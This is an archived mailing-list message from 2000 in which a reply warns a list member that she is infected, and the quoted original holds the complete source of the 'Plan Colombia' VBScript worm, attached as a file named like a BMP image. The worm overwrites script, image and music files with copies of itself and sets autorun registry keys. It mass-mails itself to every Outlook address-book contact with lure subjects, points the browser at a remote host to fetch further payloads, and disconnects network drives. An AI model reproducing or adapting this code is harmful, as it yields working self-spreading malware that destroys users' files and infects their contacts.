Michael, Thanks for turning off the HTML crap. Sharon, You are infected. Joe Hoffman mailto:[EMAIL PROTECTED] National Institutes of Health Center for Information Technology Division of Computer System Services -----Original Message----- From: Sharon Stampfl-Russo [mailto:[EMAIL PROTECTED]] Sent: Friday, October 20, 2000 3:50 PM To: CF-Talk Subject: This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C03AAD.7390DA40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0014_01C03AAD.7390DA40 Content-Type: application/octet-stream; name="TOAUC.BMP.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="TOAUC.BMP.vbs" rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= rem "Plan Colombia" virus v1.0=0A= rem by Sand Ja9e Gr0w (www.colombia.com)=0A= =0A= rem Dedicated to all the people that want to be hackers or crackers, in = Colombia =0A= rem This program is also a protest act against the violence and = corruption that Colombia lives...=0A= rem I always wanting that all this finishes, I have said...=0A= =0A= =0A= rem Santa fe de Bogot=E1 2000/09=0A= rem I dedicate to all you the song "GoodBye" of Andreas Bochelli=0A= rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= =0A= =0A= rem Thanks God..!=0A= rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"=0A= rem A greeting for "Tizo" from "Spain"=0A= rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"=0A= =0A= rem okay, ok... =0A= rem my baby start here...=0A= =0A= =0A= On Error Resume Next=0A= dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye=0A= eq=3D""=0A= ctr=3D0=0A= =0A= randomize=0A= numero =3D Int(Rnd * 3) + 1=0A= polye =3D ".GIF.vbs"=0A= If numero =3D 1 Then=0A= polye =3D ".BMP.vbs"=0A= Else=0A= If numero =3D 2 Then=0A= polye =3D ".JPG.vbs"=0A= End If=0A= End If=0A= =0A= =0A= polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye=0A= =0A= Set fso =3D CreateObject("Scripting.FileSystemObject")=0A= set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)=0A= vbscopy=3Dfile.ReadAll=0A= main()=0A= If Day(Now) =3D 17 And Month(Now) =3D 9 Then=0A= MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)"=0A= killnet()=0A= End If=0A= =0A= =0A= =0A= sub main()=0A= On Error Resume Next=0A= dim wscr,rr=0A= set wscr=3DCreateObject("WScript.Shell")=0A= rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout")=0A= if (rr>=3D1) then=0A= wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD"=0A= end if=0A= Set dirwin =3D fso.GetSpecialFolder(0)=0A= Set dirsystem =3D fso.GetSpecialFolder(1)=0A= Set dirtemp =3D fso.GetSpecialFolder(2)=0A= Set c =3D fso.GetFile(WScript.ScriptFullName)=0A= c.Copy(dirsystem&"\LINUX32.vbs")=0A= c.Copy(dirwin&"\reload.vbs")=0A= c.Copy(dirsystem&polyn)=0A= regruns()=0A= html()=0A= spreadtoemail()=0A= listadriv()=0A= end sub=0A= =0A= =0A= =0A= sub regruns()=0A= On Error Resume Next=0A= Dim num,downread,res=0A= regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32= ",dirsystem&"\LINUX32.vbs"=0A= regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices= \reload",dirwin&"\reload.vbs"=0A= downread=3D""=0A= downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory")=0A= if (downread=3D"") then=0A= downread=3D"c:\"=0A= end if=0A= =0A= rem acepta nombres largos..?=0A= if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then=0A= Randomize=0A= Randomize=0A= num =3D Int((4 * Rnd) + 1)=0A= =0A= rem fatal =3D> send virii=0A= if num =3D 2 then =0A= regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"=0A= else=0A= rem oh,, a picture.. nice :) =0A= if num =3D 3 then=0A= regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =0A= else=0A= rem oh,, other picture =3D:()=0A= if num =3D 4 then=0A= regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip"=0A= end if =0A= end if =0A= end if=0A= end if=0A= =0A= if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then=0A= res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide)=0A= regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt"=0A= regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank"=0A= else=0A= if (fileexist(downread&"\linux321.zip")=3D0) then=0A= Kill (dirwin & "\logos.sys")=0A= res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide)=0A= regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =0A= else=0A= if (fileexist(downread&"\linux322.zip")=3D0) then=0A= Kill (dirwin & "\logow.sys")=0A= res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =0A= regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =0A= end if =0A= end if=0A= end if=0A= end sub=0A= =0A= =0A= =0A= sub listadriv=0A= On Error Resume Next=0A= Dim d,dc,s=0A= Set dc =3D fso.Drives=0A= =0A= For Each d in dc=0A= If d.DriveType =3D 2 or d.DriveType=3D3 Then=0A= folderlist(d.path&"\")=0A= end if=0A= Next=0A= =0A= listadriv =3D s=0A= end sub=0A= =0A= =0A= =0A= sub infectfiles(folderspec)=0A= On Error Resume Next=0A= dim f,f1,fc,ext,ap,mircfname,s,bname,mp3=0A= set f =3D fso.GetFolder(folderspec)=0A= set fc =3D f.Files=0A= =0A= for each f1 in fc=0A= ext=3Dfso.GetExtensionName(f1.path)=0A= ext=3Dlcase(ext)=0A= s=3Dlcase(f1.name)=0A= if (ext=3D"vbs") or (ext=3D"vbe") then=0A= set ap=3Dfso.OpenTextFile(f1.path,2,true)=0A= ap.write vbscopy=0A= ap.close=0A= else=0A= if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then=0A= set ap=3Dfso.OpenTextFile(f1.path,2,true)=0A= ap.write vbscopy=0A= ap.close=0A= bname=3Dfso.GetBaseName(f1.path)=0A= set cop=3Dfso.GetFile(f1.path)=0A= cop.copy(folderspec&"\"&bname&".vbs")=0A= fso.DeleteFile(f1.path) =0A= else=0A= if(ext=3D"jpg") or (ext=3D"jpeg") then=0A= set ap=3Dfso.OpenTextFile(f1.path,2,true)=0A= ap.write vbscopy=0A= ap.close=0A= set cop=3Dfso.GetFile(f1.path)=0A= cop.copy(f1.path&".vbs")=0A= fso.DeleteFile(f1.path) =0A= else=0A= if(ext=3D"mp3") or (ext=3D"mp2") then=0A= set mp3=3Dfso.CreateTextFile(f1.path&".vbs")=0A= mp3.write vbscopy=0A= mp3.close=0A= set att=3Dfso.GetFile(f1.path)=0A= att.attributes=3Datt.attributes+2=0A= end if=0A= end if=0A= end if=0A= end if=0A= next=0A= =0A= end sub=0A= =0A= =0A= =0A= sub folderlist(folderspec)=0A= On Error Resume Next=0A= dim f,f1,sf=0A= set f =3D fso.GetFolder(folderspec)=0A= set sf =3D f.SubFolders=0A= =0A= for each f1 in sf=0A= infectfiles(f1.path)=0A= folderlist(f1.path)=0A= next=0A= =0A= end sub=0A= =0A= =0A= sub regcreate(regkey,regvalue)=0A= Set regedit =3D CreateObject("WScript.Shell")=0A= regedit.RegWrite regkey,regvalue=0A= end sub=0A= =0A= =0A= function regget(value)=0A= Set regedit =3D CreateObject("WScript.Shell")=0A= regget=3Dregedit.RegRead(value)=0A= end function=0A= =0A= =0A= function fileexist(filespec)=0A= On Error Resume Next=0A= dim msg=0A= if (fso.FileExists(filespec)) Then=0A= msg =3D 0=0A= else=0A= msg =3D 1=0A= end if=0A= fileexist =3D msg=0A= end function=0A= =0A= =0A= function folderexist(folderspec)=0A= On Error Resume Next=0A= dim msg=0A= if (fso.GetFolderExists(folderspec)) then=0A= msg =3D 0=0A= else=0A= msg =3D 1=0A= end if=0A= fileexist =3D msg=0A= end function=0A= =0A= =0A= =0A= sub spreadtoemail()=0A= On Error Resume Next=0A= dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod=0A= =0A= set regedit=3DCreateObject("WScript.Shell")=0A= set out=3DWScript.CreateObject("Outlook.Application")=0A= set mapi=3Dout.GetNameSpace("MAPI")=0A= =0A= Randomize=0A= numero =3D Int(Rnd * 3) + 1=0A= textosub =3D ""=0A= If numero =3D 1 Then=0A= textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D"=0A= Else=0A= If numero =3D 2 Then=0A= textosub =3D polyname(6)=0A= End If=0A= End If=0A= =0A= =0A= Randomize=0A= numero =3D Int(Rnd * 3) + 1=0A= textobod =3D ""=0A= If numero =3D 1 Then=0A= textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.."=0A= Else=0A= If numero =3D 2 Then=0A= textobod =3D polyname(10)=0A= End If=0A= End If=0A= =0A= =0A= for ctrlists=3D1 to mapi.AddressLists.Count=0A= set a=3Dmapi.AddressLists(ctrlists)=0A= x=3D1=0A= regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)=0A= if (regv=3D"") then=0A= regv=3D1=0A= end if=0A= if (int(a.AddressEntries.Count)>int(regv)) then=0A= =0A= for ctrentries=3D1 to a.AddressEntries.Count=0A= correoad=3Da.AddressEntries(x)=0A= regad=3D""=0A= = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corre= oad)=0A= if (regad=3D"") then=0A= set correo=3Dout.CreateItem(0)=0A= correo.Recipients.Add(correoad)=0A= correo.Subject =3D textosub=0A= correo.Body =3D vbcrlf&textobod=0A= correo.Attachments.Add(dirsystem&polyn)=0A= correo.Send=0A= regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"=0A= end if=0A= x=3Dx+1=0A= next=0A= =0A= regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0A= else=0A= regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0A= end if=0A= next=0A= =0A= Set out=3DNothing=0A= Set mapi=3DNothing=0A= end sub=0A= =0A= =0A= Function polyname(n)=0A= Dim i, vector, texto, pos=0A= on error resume next=0A= rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w=0A= =0A= vector =3D Array("A", "E", "I", "O", "U")=0A= texto =3D ""=0A= Randomize=0A= For i =3D 1 To n=0A= Randomize=0A= rem consonante=0A= texto =3D texto&Chr(Int((Rnd * 25) + 65))=0A= i =3D i + 1=0A= If i > n Then=0A= exit for=0A= end if=0A= rem vocal=0A= texto =3D texto&vector(Int((Rnd * 4) + 1))=0A= Randomize=0A= Next=0A= =0A= polyname =3D texto=0A= End Function=0A= =0A= =0A= =0A= =0A= sub html=0A= On Error Resume Next=0A= dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6=0A= dta1=3D"<HTML><HEAD>"&_=0A= "<?-?HEAD><BODY = ONMOUSEOUT=3D@[EMAIL PROTECTED]=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-= FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _=0A= "ONKEYDOWN=3D@[EMAIL PROTECTED]=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-= FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ = BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _=0A= "<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# = button for see secret pictures<?-?p>"&vbcrlf& _=0A= "<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello = Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> = "&vbcrlf& _=0A= "<?-?BODY><?-?HTML>"&vbcrlf& _=0A= "<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _=0A= "<!--?-??-?"&vbcrlf& _=0A= "if (window.screen){var wi=3Dscreen.availWidth;var = hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr= lf& _=0A= "?-??-?-->"&vbcrlf& _=0A= "<?-?SCRIPT>"&vbcrlf& _=0A= "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _=0A= "<!--"&vbcrlf& _=0A= "on error resume next"&vbcrlf& _=0A= "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _=0A= "aw=3D1"&vbcrlf& _=0A= "code=3D"=0A= =0A= dta2=3D"set = fso=3DCreateObject(@[EMAIL PROTECTED]@-@)"&vbcrlf& _=0A= "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _=0A= "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _=0A= "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _=0A= "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _=0A= "set wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& = _=0A= "wri.write code4"&vbcrlf& _=0A= "wri.close"&vbcrlf& _=0A= "if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _=0A= "if (err.number=3D424) then"&vbcrlf& _=0A= "aw=3D0"&vbcrlf& _=0A= "end if"&vbcrlf& _=0A= "if (aw=3D1) then"&vbcrlf& _=0A= "document.write @-@ERROR: can#-#t load Pictures. IE internal = Error@-@"&vbcrlf& _=0A= "window.close"&vbcrlf& _=0A= "end if"&vbcrlf& _=0A= "end if"&vbcrlf& _=0A= "Set regedit =3D CreateObject(@[EMAIL PROTECTED]@-@)"&vbcrlf& _=0A= "regedit.RegWrite = @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-= ^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _=0A= "?-??-?-->"&vbcrlf& _=0A= "<?-?SCRIPT>"=0A= =0A= dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")=0A= dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")=0A= dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")=0A= dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")=0A= dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")=0A= dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")=0A= dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")=0A= dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")=0A= set fso=3DCreateObject("Scripting.FileSystemObject")=0A= set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)=0A= lines=3DSplit(c.ReadAll,vbcrlf)=0A= l1=3Dubound(lines)=0A= =0A= for n=3D0 to ubound(lines)=0A= lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))=0A= lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))=0A= lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))=0A= if (l1=3Dn) then=0A= lines(n)=3Dchr(34)+lines(n)+chr(34)=0A= else=0A= lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"=0A= end if=0A= next=0A= =0A= set = b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")=0A= b.close=0A= set = d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)=0A= d.write dt5=0A= d.write join(lines,vbcrlf)=0A= d.write vbcrlf=0A= d.write dt6=0A= d.close=0A= end sub=0A= =0A= =0A= =0A= sub killnet()=0A= Dim intDrive,strDrive,WSHNetwork=0A= =0A= on error resume next=0A= =0A= =0A= Set WSHNetwork =3D WScript.CreateObject("WScript.Network")=0A= =0A= For intDrive =3D 26 To 5 Step -1 =0A= strDrive =3D Chr(intDrive + 64) & ":" =0A= WSHNetwork.RemoveNetworkDrive strDrive=0A= Next=0A= =0A= rem bye net connection ... :-(=0A= Set WSHNetwork=3DNothing=0A= =0A= end sub ------=_NextPart_000_0014_01C03AAD.7390DA40-- ---------------------------------------------------------------------------- -------------------- Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists or send a message with 'unsubscribe' in the body to [EMAIL PROTECTED] ------------------------------------------------------------------------------------------------ Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists or send a message with 'unsubscribe' in the body to [EMAIL PROTECTED]
